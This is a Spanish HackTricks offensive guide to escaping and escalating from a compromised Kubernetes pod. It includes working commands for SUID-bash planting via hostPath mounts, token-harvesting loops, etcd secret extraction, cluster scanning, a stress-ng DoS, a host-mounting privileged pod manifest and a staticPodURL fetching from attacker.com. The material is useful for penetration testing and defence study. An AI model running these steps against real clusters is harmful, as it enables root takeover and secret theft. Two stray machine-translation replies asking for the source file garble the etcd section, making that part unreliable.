Atacando Kubernetes desde dentro de un Pod
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Pod Breakout
Si tienes la suficiente suerte, puede que seas capaz de escapar de él hacia el node:

Escapar del pod
Para intentar escapar de los pods, es posible que necesites primero escalate privileges; algunas técnicas para hacerlo:
Linux Privilege Escalation - HackTricks
Puedes consultar estos docker breakouts to try to escape para intentar escapar de un pod que hayas comprometido:
Docker Breakout / Privilege Escalation - HackTricks
Abusing writable hostPath/bind mounts (container -> host root via SUID planting)
Si un pod/container comprometido tiene un volumen escribible que se mapea directamente al sistema de archivos del host (Kubernetes hostPath o Docker bind mount), y puedes convertirte en root dentro del container, puedes aprovechar el mount para crear un binario setuid-root en el host y luego ejecutarlo desde allí para obtener root.
Condiciones clave:
- El volumen montado es escribible desde dentro del container (readOnly: false y los permisos del filesystem permiten escritura).
- El sistema de archivos del host que respalda el mount no está montado con la opción nosuid.
- Tienes alguna forma de ejecutar el binario plantado en el host (por ejemplo, SSH/RCE separado en el host, un usuario en el host puede ejecutarlo, u otro vector que ejecute binarios desde esa ruta).
Cómo identificar hostPath/bind mounts escribibles:
- Con kubectl, comprueba los volúmenes hostPath: kubectl get pod
-o jsonpath=‘{.spec.volumes[*].hostPath.path}’ - Desde dentro del container, lista los mounts y busca host-path mounts y prueba si son escribibles:
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
Plantar un setuid root binary desde el contenedor:
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
Ejecutar en el host para obtener root:
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
Notas y solución de problemas:
- Si el mount del host tiene nosuid, los bits setuid serán ignorados. Comprueba las opciones de montaje en el host (cat /proc/mounts | grep
) y busca nosuid. - Si no puedes obtener un host execution path, mounts similares con permisos de escritura pueden ser abusados para escribir otros persistence/priv-esc artifacts en el host si el directorio mapeado es crítico para la seguridad (p. ej., añadir una root SSH key si el mount se mapea en /root/.ssh, dejar una unidad cron/systemd si se mapea en /etc, reemplazar un binario propiedad de root en PATH que el host ejecutará, etc.). La viabilidad depende totalmente de qué path esté montado.
- Esta técnica también funciona con plain Docker bind mounts; en Kubernetes suele ser típicamente un hostPath volume (readOnly: false) o un incorrectly scoped subPath.
Abusar de los privilegios de Kubernetes
Como se explicó en la sección sobre kubernetes enumeration:
Normalmente los pods se ejecutan con un service account token en su interior. Esta service account puede tener algunos privilegios asociados que podrías abusar para moverte a otros pods o incluso escapar a los nodos configurados dentro del cluster. Comprueba cómo en:
Abusing Roles/ClusterRoles in Kubernetes
Abusar de privilegios en la nube
Si el pod se ejecuta dentro de un entorno cloud podrías ser capaz de leak a token from the metadata endpoint y escalar privilegios usándolo.
Buscar servicios de red vulnerables
Como estás dentro del entorno de Kubernetes, si no puedes escalar privilegios abusando de los privilegios de los pods actuales y no puedes escapar del contenedor, deberías buscar servicios potencialmente vulnerables.
Servicios
Para ello, puedes intentar obtener todos los servicios del entorno de kubernetes:
kubectl get svc --all-namespaces
Por defecto, Kubernetes usa un esquema de red plano, lo que significa que cualquier pod/service dentro del cluster puede comunicarse con otros. Las namespaces dentro del cluster no tienen ninguna restricción de seguridad de red por defecto. Cualquiera en una namespace puede comunicarse con otras namespaces.
Escaneo
El siguiente script Bash (tomado de un Kubernetes workshop) instalará y escaneará los rangos IP del cluster de Kubernetes:
sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}
nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
Consulta la siguiente página para aprender cómo podrías atacar servicios específicos de Kubernetes para comprometer otros pods/todo el entorno:
Pentesting Kubernetes Services
Sniffing
En caso de que el pod comprometido esté ejecutando algún servicio sensible donde otros pods necesiten autenticarse, podrías ser capaz de obtener las credenciales enviadas por los otros pods mediante sniffing de las comunicaciones locales.
Network Spoofing
Por defecto técnicas como ARP spoofing (y gracias a eso DNS Spoofing) funcionan en la red de kubernetes. Entonces, dentro de un pod, si tienes la NET_RAW capability (que está ahí por defecto), podrás enviar paquetes de red personalizados y realizar ataques MitM vía ARP Spoofing a todos los pods que se ejecutan en el mismo nodo.
Además, si el pod malicioso se está ejecutando en el mismo nodo que el DNS Server, podrás realizar un ataque de DNS Spoofing a todos los pods del cluster.
Node DoS
No hay especificación de recursos en los manifests de Kubernetes y no se aplican limit ranges para los contenedores. Como atacante, podemos consumir todos los recursos donde se ejecuta el pod/deployment y agotar otros recursos, causando un DoS en el entorno.
Esto puede hacerse con una herramienta como stress-ng:
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
Puedes ver la diferencia entre cuando se ejecuta stress-ng y después.
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
Node Post-Exploitation
Si lograste escape from the container, hay algunas cosas interesantes que encontrarás en el node:
- El proceso Container Runtime (Docker)
- Más pods/containers ejecutándose en el node que puedes abusar como este (más tokens)
- Todo el sistema de archivos y el SO en general
- El servicio Kube-Proxy escuchando
- El servicio Kubelet en escucha. Revisa archivos de configuración:
- Directory:
/var/lib/kubelet/ /var/lib/kubelet/kubeconfig/var/lib/kubelet/kubelet.conf/var/lib/kubelet/config.yaml/var/lib/kubelet/kubeadm-flags.env/etc/kubernetes/kubelet-kubeconfig/etc/kubernetes/admin.conf–>kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system- Otros archivos comunes de kubernetes:
$HOME/.kube/config- Configuración de usuario/etc/kubernetes/kubelet.conf- Configuración regular/etc/kubernetes/bootstrap-kubelet.conf- Configuración de bootstrap/etc/kubernetes/manifests/etcd.yaml- Configuración de etcd/etc/kubernetes/pki- Clave de Kubernetes
Find node kubeconfig
Si no puedes encontrar el archivo kubeconfig en alguna de las rutas mencionadas anteriormente, revisa el argumento --kubeconfig del proceso kubelet:
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
Robar secretos
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done
El script can-they.sh obtendrá automáticamente los tokens de otros pods y comprobará si tienen el permiso que estás buscando (en lugar de que los busques uno por uno):
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
DaemonSets privilegiados
A DaemonSet es un pod que se ejecutará en todos los nodos del cluster. Por lo tanto, si un DaemonSet está configurado con una privileged service account, en TODOS los nodos podrás encontrar el token de esa privileged service account que podrías abusar.
El exploit es el mismo que en la sección anterior, pero ahora no dependes de la suerte.
Pivot to Cloud
Si el cluster está gestionado por un servicio en la nube, normalmente el Node tendrá un acceso diferente al metadata endpoint que el Pod. Por lo tanto, intenta acceder al metadata endpoint desde el node (o desde un pod con hostNetwork en True):
Robar etcd
Si puedes especificar el nodeName del Node que va a ejecutar el contenedor, consigue un shell dentro de un Node del control-plane y obtén la etcd database:
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
Los nodos del plano de control (control-plane) tienen el role master y en clústeres gestionados en la nube no podrás ejecutar nada en ellos.
Leer secretos de etcd 1
Si puedes ejecutar tu pod en un nodo del plano de control usando el selector nodeName en la spec del pod, podrías tener acceso fácil a la base de datos etcd, que contiene toda la configuración para el cluster, incluidos todos los secrets.
A continuación hay una forma rápida y tosca de extraer secrets de etcd si está ejecutándose en el nodo del plano de control en el que estás. Si quieres una solución más elegante que levante un pod con la utilidad cliente etcd etcdctl y use las credenciales del nodo del plano de control para conectarse a etcd dondequiera que esté ejecutándose, consulta this example manifest from @mauilion.
Check to see if etcd is running on the control-plane node and see where the database is (This is on a kubeadm created cluster)
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
Por favor pega el contenido de src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md que quieres que traduzca al español.
data-dir=/var/lib/etcd
Ver los datos en la base de datos etcd:
strings /var/lib/etcd/member/snap/db | less
Extraer los tokens de la base de datos y mostrar el nombre de la cuenta de servicio
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
Mismo comando, pero algunos greps para devolver solo el token predeterminado en el namespace kube-system
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
No veo el contenido del archivo src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md. Por favor pega aquí el texto que quieres que traduzca (mantendré intactos los tags, enlaces y paths según tus instrucciones).
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
Leer secretos de etcd 2 from here
- Crea una instantánea de la base de datos
etcd. Consulta this script para más información. - Transfiere la instantánea de
etcdfuera del nodo de la forma que prefieras. - Extrae la base de datos:
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
- Inicia
etcden tu máquina local y haz que use la snapshot robada:
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
- Listar todos los secrets:
etcdctl get "" --prefix --keys-only | grep secret
- Obtener los secfrets:
etcdctl get /registry/secrets/default/my-secret
Persistencia de Static/Mirrored Pods
Static Pods son gestionados directamente por el demonio kubelet en un nodo específico, sin que el API server los observe. A diferencia de Pods que son gestionados por el control plane (por ejemplo, un Deployment); en su lugar, el kubelet vigila cada static Pod (y lo reinicia si falla).
Por lo tanto, los static Pods siempre están ligados a un único Kubelet en un nodo específico.
El kubelet intenta automáticamente crear un mirror Pod en el Kubernetes API server para cada static Pod. Esto significa que los Pods que se ejecutan en un nodo son visibles en el API server, pero no pueden ser controlados desde allí. Los nombres de los Pods tendrán el sufijo del hostname del nodo precedido por un guion.
Caution
El
specde un static Pod no puede referirse a otros objetos del API (p. ej., ServiceAccount, ConfigMap, Secret, etc.). Así que no puedes abusar de este comportamiento para lanzar un pod con un serviceAccount arbitrario en el nodo actual para comprometer el cluster. Pero podrías usar esto para ejecutar pods en diferentes namespaces (por si eso fuera útil por alguna razón).
Si estás dentro del host del nodo puedes hacer que cree un static pod dentro de sí mismo. Esto es bastante útil porque podría permitirte crear un pod en un namespace diferente como kube-system.
Para crear un static pod, la documentación es de gran ayuda. Básicamente necesitas 2 cosas:
- Configura el parámetro
--pod-manifest-path=/etc/kubernetes/manifestsen el kubelet service, o en la kubelet config (staticPodPath) y reinicia el servicio - Crea la definición del pod en
/etc/kubernetes/manifests
Otra forma más sigilosa sería:
- Modificar el parámetro
staticPodURLen el archivo de configuración del kubelet y establecer algo comostaticPodURL: http://attacker.com:8765/pod.yaml. Esto hará que el proceso kubelet cree un static pod obteniendo la configuración desde la URL indicada.
Ejemplo de configuración de pod para crear un pod privilegiado en kube-system tomado de aquí:
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory
Eliminar pods + nodos no programables
Si un atacante ha comprometido un nodo y puede eliminar pods de otros nodos y hacer que otros nodos no puedan ejecutar pods, los pods se volverán a ejecutar en el nodo comprometido y podrá robar los tokens que se ejecuten en ellos.
Para más información sigue este enlace.
Herramientas automáticas
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates
Referencias
- Forgotten (HTB) - Writable bind mount SUID planting
- Kubernetes hostPath volume
- Docker bind mounts
- Bash -p (preserve privileges)
- mount(8) nosuid option
- Peirates (Kubernetes attack tool)
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

